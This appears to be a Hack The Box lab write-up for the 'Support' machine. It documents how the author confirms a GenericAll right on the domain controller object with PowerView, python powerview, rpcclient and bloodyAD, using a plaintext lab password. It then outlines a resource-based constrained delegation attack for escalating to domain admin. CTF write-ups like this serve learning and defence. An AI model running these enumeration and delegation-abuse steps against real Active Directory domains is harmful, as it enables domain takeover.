InfoSec LAB

Support_GenericAll

Created: 4 min read

GenericAll

as discovered during the bloodhound session, having a membership to the shared support accounts group grants member the transitive genericall access to the DC host

Following the successful compromise and establishing a WinRM(PowerShell) session as the support account, various efforts were undertaken to identify additional vulnerabilities within the system, utilizing both the manual and automated enumerations.

As the results has shown no trace of additional vulnerabilities, I will now proceed forward with DACL (Discretionary Access Control List) abuse to gain a complete control over the target domain

while there are many ways to go about exploiting the genericall access on a computer object, most methods revolve around PowerView and Powermad

*evil-winrm* ps c:\Users\support\Documents> upload PowerView.ps1
 
info: Uploading /home/kali/archive/htb/labs/support/PowerView.ps1 to C:\Users\support\Documents\PowerView.ps1
data: 1027036 bytes of 1027036 bytes copied
info: Upload successful!
 
*evil-winrm* ps c:\Users\support\Documents> upload Powermad.ps1
 
info: Uploading /home/kali/archive/htb/labs/support/Powermad.ps1 to C:\Users\support\Documents\Powermad.ps1
data: 180780 bytes of 180780 bytes copied
info: Upload successful!
 
*evil-winrm* ps c:\Users> . .\PowerView.ps1 ; . .\Powermad.ps1

uploading and importing powerview and Powermad from the existing WinRM session as the support account

before jumping into the exploitation, i will first confirm the genericall ACE using various methods

Retrieving ACL of An AD Object

While BloodHound primarily displays ACL relationships of AD objects (as was the case in this engagement), it’s essential to note that this can vary based on the specific target’s domain environment. Consequently, it is crucial to employ various methods for retrieving ACLs.

The additional methods are following;

PowerView (PowerShell)

*evil-winrm* ps c:\Users\support\Documents> Get-DomainObjectAcl -Identity DC -ResolveGUIDs
 
[...REDACTED...]
 
acetype               : AccessAllowed
objectdn              : CN=DC,OU=Domain Controllers,DC=support,DC=htb
activedirectoryrights : GenericAll
opaquelength          : 0
objectsid             : S-1-5-21-1677581083-3380853377-188903654-1000
inheritanceflags      : ContainerInherit
binarylength          : 36
isinherited           : False
iscallback            : False
propagationflags      : None
securityidentifier    : S-1-5-21-1677581083-3380853377-188903654-1103
accessmask            : 983551
auditflags            : None
aceflags              : ContainerInherit
acequalifier          : AccessAllowed
 
[...REDACTED...]

using the powerview’s Get-DomainObjectAcl cmdlet, I can query the ACL of the DC host As shown above, GenericAll is grant to the SID of S-1-5-21-1677581083-3380853377-188903654-1103 The -ResolveGUIDs flag doesn’t seem to work as I am still seeing the raw SID

┌──(kali㉿kali)-[~/archive/htb/labs/support]
└─$ rpcclient $IP -U 'support%Ironside47pleasure40Watchful'
rpcclient $> lookupsids S-1-5-21-1677581083-3380853377-188903654-1103
S-1-5-21-1677581083-3380853377-188903654-1103 SUPPORT\Shared Support Accounts (2)

However, I can confirm that S-1-5-21-1677581083-3380853377-188903654-1103 belongs to the Shared Support Accounts group via rpcclient

PowerView (Python)

┌──(kali㉿kali)-[~/archive/htb/labs/support]
└─$ KRB5CCNAME=support@dc.support.htb.ccache powerview 'SUPPORT.HTB/@dc.support.htb' --no-pass -k --dc-ip $IP -q 'Get-DomainObjectAcl "CN=DC,OU=DOMAIN CONTROLLERS,DC=SUPPORT,DC=HTB" -ResolveGUIDs'
[2023-10-04 12:53:57] LDAP Signing NOT Enforced!
 
[...REDACTED...]
 
ObjectDN                    : CN=DC,OU=Domain Controllers,DC=support,DC=htb
ObjectSID                   : S-1-5-21-1677581083-3380853377-188903654-1000
ACEType                     : ACCESS_ALLOWED_ACE
ACEFlags                    : CONTAINER_INHERIT_ACE
ActiveDirectoryRights       : FullControl
Access mask                 : 0xf01ff
InheritanceType             : None
SecurityIdentifier          : Shared Support Accounts (S-1-5-21-1677581083-3380853377-188903654-1103)
 
[...REDACTED...]

This can also be checked with the Python implementation of PowerView with its SID resolved properly

BloodyAD

┌──(kali㉿kali)-[~/archive/htb/labs/support]
└─$ bloodyAD -d SUPPORT.HTB -u support -p 'Ironside47pleasure40Watchful' --host dc.support.htb get object 'CN=DC,OU=DOMAIN CONTROLLERS,DC=SUPPORT,DC=HTB' --resolve-sd        
 
distinguishedname: CN=DC,OU=Domain Controllers,DC=support,DC=htb
cn: DC
dnshostname: dc.support.htb
ntsecuritydescriptor.owner: Domain Admins
 
[...REDACTED...]
 
ntsecuritydescriptor.acl.9.type: == ALLOWED ==
ntsecuritydescriptor.acl.9.trustee: Shared Support Accounts
ntsecuritydescriptor.acl.9.right: GENERIC_ALL
ntsecuritydescriptor.acl.9.objecttype: Self
ntsecuritydescriptor.acl.9.flags: CONTAINER_INHERIT
 
[...REDACTED...]
 
name: DC
objectsid: S-1-5-21-1677581083-3380853377-188903654-1000
samaccountname: DC$
 
[...REDACTED...]

or even with bloodyad

Attack Vector

Granting the GenericAll access to a computer object in Active Directory is a rather dangerous practice as it can be exploited via Resource-based Constrained Delegation attack

Starting in Windows Server 2012, Resource-based Constrained Delegation - RBCD can be configured on the resource or a computer account itself. This is different from the other types of delegation, which are configured on the accounts accessing the resource. Resource-based delegation is controlled by the msDS-AllowedToActOnBehalfOfOtherIdentity attribute; it stores a security descriptor for the object that can access the resource

This is done by

  1. initially creating a domain computer object by leveraging the default SeMachineAccountPrivilege access that is granted to any domain users
  2. modifying the delegation rights of the target object (DC$) to include the newly created computer object
    • done by populating the the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the target object (DC$) with the SID of the newly created computer object
  3. impersonating DA as the newly created computer object (account) with the granted delegation right (step 2) by requesting a service ticket to the target object (DC$)

Exploitation can be done both locally and remotely, deploying 2 different methods I will go over them both in the Privilege Escalation phase

Local (PowerView.ps1 and Powermad.ps1)

as mentioned above, exploiting the genericall access on a computer object mostly revolves around PowerView and Powermad

Remote (Impacket)

Or, it could also be achieved remotely using Impacket Suites

Interactive Graph View

Backlinks